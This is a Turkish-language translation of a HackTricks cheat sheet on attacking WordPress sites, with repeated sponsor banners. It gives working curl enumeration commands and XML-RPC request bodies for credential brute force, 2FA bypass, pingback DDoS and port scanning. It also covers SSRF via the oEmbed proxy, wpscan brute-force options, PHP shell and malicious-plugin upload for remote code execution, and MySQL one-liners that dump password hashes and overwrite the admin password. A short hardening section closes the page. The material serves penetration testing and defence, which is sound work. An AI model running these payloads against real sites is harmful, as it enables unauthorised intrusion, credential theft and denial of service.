20 KiB
Wordpress
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünleri edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı göndererek PR'lar aracılığıyla HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
![](/Mirrors/hacktricks/media/commit/f8bc6b406347047ad589a4e13ff1867c1f09f4eb/.gitbook/assets/image%20%2845%29.png)
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Temel Bilgiler
Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu yüzden temanın bazı php'lerini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanırsınız. Örneğin: twentytwelve temasını kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka faydalı bir URL şu olabilir: /wp-content/themes/default/404.php
wp-config.php içinde veritabanının kök şifresini bulabilirsiniz.
Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.php
license.txt
WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.wp-activate.php
yeni bir WordPress sitesi kurulurken e-posta aktivasyon işlemi için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
, HTTP'nin taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress REST API tarafından değiştirilmiştir.wp-content
klasörü, eklentilerin ve temaların depolandığı ana dizindir.wp-content/uploads/
Platforma yüklenen dosyaların depolandığı dizindir.wp-includes/
Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.wp-sitemap.xml
Wordpress sürümleri 5.5 ve üstünde, Worpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
Saldırı sonrası
wp-config.php
dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası, sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.
Kullanıcı İzinleri
- Yönetici
- Editör: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir
- Yazar: Kendi gönderilerini yayımlar ve yönetir
- Katılımcı: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz
- Abone: Gönderileri göz atabilir ve profilini düzenleyebilir
Pasif Numaralandırma
WordPress sürümünü alın
/license.txt
veya /readme.html
dosyalarını bulup bulamadığınızı kontrol edin
Sayfanın kaynak kodu içinde (örnek: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS bağlantı dosyaları
- JavaScript dosyaları
Eklentileri Al
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Genel olarak sürümleri çıkartın
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
![](/Mirrors/hacktricks/media/commit/f8bc6b406347047ad589a4e13ff1867c1f09f4eb/.gitbook/assets/image%20%2845%29.png)
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını otomatikleştirin.
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aktif numaralandırma
Eklentiler ve Temalar
Tüm Eklentileri ve Temaları bulamayabilirsiniz. Hepsini keşfetmek için bir Eklentiler ve Temalar listesini aktif olarak Brute Force etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar var).
Kullanıcılar
Kimlik Numarası Brute
WordPress sitesinden geçerli kullanıcıları Kimlik Numaralarını Brute Force ederek elde edebilirsiniz:
curl -s -I -X GET http://blog.example.com/?author=1
Eğer yanıtlar 200 veya 30X ise, bu, id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, o zaman id geçersizdir.
wp-json
Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapabilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users
Başka bir /wp-json/
uç noktası, kullanıcılar hakkında bazı bilgileri ortaya çıkarabilir:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. Bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır.
Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.
Kullanıcı adı girişi numaralandırması
/wp-login.php
'ye giriş yaparken mesaj, belirtilen kullanıcı adının var olup olmadığına bağlı olarak farklıdır.
XML-RPC
xml-rpc.php
etkinse kimlik bilgileri kaba kuvvet saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirebilirsiniz buna örnek olarak şunu kullanabilirsiniz).
Etkin olup olmadığını görmek için /xmlrpc.php'ye erişmeyi deneyin ve bu isteği gönderin:
Kontrol
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Kimlik Bilgileri Kaba Kuvvet
wp.getUserBlogs
, wp.getCategories
veya metaWeblog.getUsersBlogs
gibi yöntemler kimlik bilgilerini kaba kuvvetle denemek için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 kodlu yanıt içinde _"Kullanıcı adı veya şifre yanlış"_ mesajı görünmelidir eğer kimlik bilgileri geçerli değilse.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ayrıca, system.multicall
kullanarak aynı istekte birkaç kimlik bilgisini deneyerek kimlik bilgilerini zorlamak için daha hızlı bir yol vardır:
![](/Mirrors/hacktricks/media/commit/f8bc6b406347047ad589a4e13ff1867c1f09f4eb/.gitbook/assets/image%20%28625%29.png)
2FA'yı Atlatma
Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz. Tüm konsol üzerinden yapabileceğiniz tüm işlemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s adresinde açıkladığı gibi hala RCE'ye ulaşabilirsiniz.
DDoS veya port taraması
Liste içinde pingback.ping yöntemini bulabilirseniz, Wordpress'i herhangi bir ana makine/porta keyfi bir istek göndermeye zorlayabilirsiniz.
Bu, binlerce Wordpress sitesine bir konuma erişmelerini istemek için kullanılabilir (bu konumda bir DDoS oluşturulur) veya bunu kullanarak Wordpress'i bazı iç ağları taramaya zorlayabilirsiniz (herhangi bir portu belirtebilirsiniz).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Eğer bir değeri 0'dan büyük olan faultCode alırsanız (17), bu portun açık olduğu anlamına gelir.
Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde system.multicall
kullanımına bakın.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde a "yoğun" MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından DoS saldırısı yapmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php
her sayfa yüklendiğinde çağrılır (herhangi bir Wordpress sayfasını isteyen bir istemci her zaman), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).
/wp-json/oembed/1.0/proxy - SSRF
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
Bu, çalışmadığında gelen yanıttır:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Bu araç, methodName: pingback.ping'i kontrol eder ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve varsa bunları sömürmeye çalışır.
Otomatik Araçlar
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
![](/Mirrors/hacktricks/media/commit/f8bc6b406347047ad589a4e13ff1867c1f09f4eb/.gitbook/assets/image%20%2845%29.png)
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Biraz üzerine yazarak erişim alın
Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu nedenle /var/www/html/wp-includes/user.php
dosyasının 5389
konumunu çevirerek NOT (!
) işlemini NOP yapabilirsiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)
Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
İçeriği bir php kabuğu için değiştirin:
Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
Eklenti RCE
PHP eklentisi
Muhtemelen bir eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin şu şekilde php arka kapınızı oluşturun:
Ardından yeni bir eklenti ekleyin:
Eklentiyi yükleyin ve Şimdi Yükle'ye basın:
Procced'e tıklayın:
Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz yüklenen kabuğunuzu göreceksiniz:
Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:
Zararlı eklenti yükleme ve etkinleştirme
Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir:
- Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin buradan.
- Eklenti Yükleme:
- WordPress panosuna gidin, ardından
Pano > Eklentiler > Eklenti Yükle
'ye gidin. - İndirilen eklentinin zip dosyasını yükleyin.
- Eklenti Etkinleştirme: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir.
- Sömürü:
- "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir.
- Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.
İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
Daha detaylı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**
Saldırı Sonrası
Kullanıcı adlarını ve şifreleri çıkarın:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin şifresini değiştirin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress Koruma
Düzenli Güncellemeler
WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, yalnızca güvenilir WordPress eklentileri ve temaları yükleyin.
Güvenlik Eklentileri
Diğer Tavsiyeler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü şifreler ve 2FA kullanın
- Kullanıcıların izinlerini periyodik olarak gözden geçirin
- Brute Force saldırılarını önlemek için giriş denemesini sınırlayın
wp-admin.php
dosyasını yeniden adlandırın ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.
![](/Mirrors/hacktricks/media/commit/f8bc6b406347047ad589a4e13ff1867c1f09f4eb/.gitbook/assets/image%20%2845%29.png)
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek.